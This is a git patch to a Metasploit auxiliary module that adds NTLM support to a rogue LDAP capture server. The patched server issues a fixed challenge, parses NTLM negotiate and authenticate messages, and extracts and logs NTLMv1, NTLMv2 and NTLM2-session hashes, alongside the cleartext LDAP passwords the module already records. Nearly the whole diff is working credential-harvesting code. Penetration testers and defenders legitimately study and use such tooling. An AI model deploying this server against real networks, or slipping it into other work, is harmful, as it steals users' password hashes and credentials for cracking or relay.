From 6972a910fbab28c137690062ddca5f3a3a36b4d6 Mon Sep 17 00:00:00 2001 From: JustAnda7 Date: Sun, 10 Sep 2023 02:51:40 -0400 Subject: [PATCH] changes-to-support-ntlm --- modules/auxiliary/server/capture/ldap.rb | 264 +++++++++++++++++++++-- 1 file changed, 244 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index fa909ff5288f..fba304fd3994 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -4,6 +4,9 @@ ## require 'net/ldap' require 'net/ldap/dn' +NTLM_CONST = Rex::Proto::NTLM::Constants +NTLM_CRYPT = Rex::Proto::NTLM::Crypt +MESSAGE = Rex::Proto::NTLM::Message class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -36,7 +39,8 @@ def initialize(info = {}) register_options( [ OptAddress.new('SRVHOST', [ true, 'The localhost to listen on.', '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]), + OptString.new('CHALLENGE', [ true, 'The 8 byte challenge', Rex::Text.rand_text_alphanumeric(16) ]) ] ) @@ -44,12 +48,23 @@ def initialize(info = {}) register_advanced_options( [ + OptString.new('Domain', [ false, 'The default domain to use for NTLM authentication', 'DOMAIN']), + OptString.new('Server', [ false, 'The default server to use for NTLM authentication', 'SERVER']), + OptString.new('DnsName', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']), + OptString.new('DnsDomain', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']), + OptBool.new('ForceDefault', [ false, 'Force the default settings', false]), OptPath.new('LDIF_FILE', [ false, 'Directory LDIF file path']) ] ) end def run + if datastore['CHALLENGE'].to_s =~ /^([a-zA-Z0-9]{16})$/ + @challenge = [ datastore['CHALLENGE'] ].pack('H*') + else + print_error('CHALLENGE syntax must match 1122334455667788') # generate a random by module + return + end exploit end @@ -61,7 +76,8 @@ def on_dispatch_request(client, data) state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, - port: client.peerport + port: client.peerport, + service_name: 'ldap' } data.extend(Net::BER::Extensions::String) @@ -121,26 +137,86 @@ def on_dispatch_request(client, data) state[client][:domain] = nil result_code = Net::LDAP::ResultCodeInvalidCredentials end + state[client][:private] = user_login.authentication + state[client][:private_type] = :password + unless state[client][:user].empty? && state[client][:private].empty? + report_cred(state[client]) + end + result_message = "LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}" + result_message += " Domain:#{state[client][:domain]}" if state[client][:domain] + print_good(result_message) + elsif user_login.authentication[0] == 'GSS-SPNEGO' + if user_login.authentication[1] =~ /NTLMSSP/ + message = user_login.authentication[1] + + if message[8, 1] == "\x01" + domain = datastore['Domain'] + server = datastore['Server'] # parse the domain and everythingfrom the type 1 received + dnsname = datastore['DnsName'] + dnsdomain = datastore['DnsDomain'] + dom, ws = parse_type1_domain(message) + if dom + domain = dom + end + if ws + server = ws + end + mess1 = Rex::Text.encode_base64(message) + hsh = MESSAGE.process_type1_message(mess1, @challenge, domain, server, dnsname, dnsdomain) + chalhash = Rex::Text.decode_base64(hsh) + response = encode_ldapsasl_response( + pdu.message_id, + Net::LDAP::ResultCodeSaslBindInProgress, + '', + '', + chalhash, + Net::LDAP::PDU::BindResult + ) + on_send_response(client, response) + return + elsif message[8, 1] == "\x03" + arg = {} + mess2 = Rex::Text.encode_base64(message) + domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(mess2) + nt_len = ntlm_hash.length + + if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session + arg = { + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + lm_hash: lm_hash, + nt_hash: ntlm_hash + } + + if arg[:lm_hash][16, 32] == '0' * 32 + arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE + end + elsif nt_len > 48 # lmv2/ntlmv2 + arg = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: lm_hash[0, 32], + lm_cli_challenge: lm_hash[32, 16], + nt_hash: ntlm_hash[0, 32], + nt_cli_challenge: ntlm_hash[32, nt_len - 32] + } + elsif nt_len == 0 + print_status("Empty hash from #{host} captured, ignoring ... ") + else + print_status("Unknown hash type from #{host}, ignoring ...") + end + unless arg.nil? + arg[:user] = user + arg[:domain] = domain + arg = arg.merge(state[client]) + arg = process_ntlm_hash(arg) + report_cred(arg) + end + result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil? + end + end else state[client][:user] = '' state[client][:domain] = nil end - - state[client][:pass] = user_login.authentication - - unless state[client][:user].empty? && state[client][:pass].empty? - report_cred( - ip: state[client][:ip], - port: client.localport, - service_name: 'ldap', - user: state[client][:user], - password: state[client][:pass], - domain: state[client][:domain] - ) - end - result_message = "LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}" - result_message += " Domain:#{state[client][:domain]}" if state[client][:domain] - print_good(result_message) result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil? service.encode_ldap_response( pdu.message_id, @@ -191,6 +267,122 @@ def on_dispatch_request(client, data) end end + def process_ntlm_hash(arg = {}) + ntlm_ver = arg[:ntlm_ver] + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE + lm_cli_challenge = arg[:lm_cli_challenge] + nt_cli_challenge = arg[:nt_cli_challenge] + end + domain = Rex::Text.to_ascii(arg[:domain]) + user = Rex::Text.to_ascii(arg[:user]) + host = arg[:name] + + captured_time = Time.now.to_s + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'ntlm' + }) + print_status('NLMv1 Hash correspond to an empty password, ignoring ... ') + return + end + if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/ + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + capture_message = + "#{captured_time}\nLDAP Login Attempt(NTLMv1 Response) => From #{host} \n" \ + "USER: #{user} \tLMHASH:#{lm_hash_message || ''} \tNTHASH:#{nt_hash || ''}\n" + capture_message += " Domain:#{domain}" if domain + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_V2_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [nt_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'ntlm' + }) + print_status('NTLMv2 Hash correspond to an empty password, ignoring ... ') + return + end + if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [lm_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + capture_message = + "#{captured_time}\nLDAP Login Attempt(NTLMv2 Response) => From #{host} \n" \ + "USER: #{user} \tLMHASH:#{lm_hash_message || ''}\tNTHASH:#{nt_hash || ''} " + capture_message += " DOMAIN: #{domain}" if domain + hash = [ + lm_hash || '0' * 32, + nt_hash || '0' * 32 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [lm_hash].pack('H*')[0, 8], + ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, + type: 'ntlm' + }) + print_status('NTLM2_session Hash correspond to an empty password, ignoring ... ') + return + end + + capture_message = + "#{captured_time}\nLDAP Login Attempt(NTLM2_SESSION Response) => From #{host} \n" \ + "USER: #{user} \tNTHASH:#{nt_hash || ''}\n" + capture_message += " DOMAIN: #{domain}" if domain + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + else + return + end + + print_good(capture_message) + arg[:domain] = domain + arg[:user] = user + arg[:private_type] = :ntlm_hash + arg + end + def report_cred(opts) service_data = { address: opts[:ip], @@ -204,8 +396,8 @@ def report_cred(opts) origin_type: :service, module_fullname: fullname, username: opts[:user], - private_data: opts[:password], - private_type: :password + private_data: opts[:private], + private_type: opts[:private_type] }.merge(service_data) if opts[:domain] @@ -258,6 +450,38 @@ def search_res(filter, msgid, attrflt = :all) end end + def encode_ldapsasl_response(msgid, code, dn, msg, creds, tag) + [ + msgid.to_ber, + [ + code.to_ber_enumerated, + dn.to_ber, + msg.to_ber, + [creds.to_ber].to_ber_contextspecific(7) + ].to_ber_appsequence(tag) + ].to_ber_sequence + end + + def parse_type1_domain(message) + domain = nil + workstation = nil + + reqflags = message[12, 4] + reqflags = reqflags.unpack('V').first + + if (reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN + dom_len = message[16, 2].unpack('v')[0].to_i + dom_off = message[20, 2].unpack('v')[0].to_i + domain = message[dom_off, dom_len].to_s + end + if (reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION + wor_len = message[24, 2].unpack('v')[0].to_i + wor_off = message[28, 2].unpack('v')[0].to_i + workstation = message[wor_off, wor_len].to_s + end + [domain, workstation] + end + def suitable_response(request) responses = { Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult,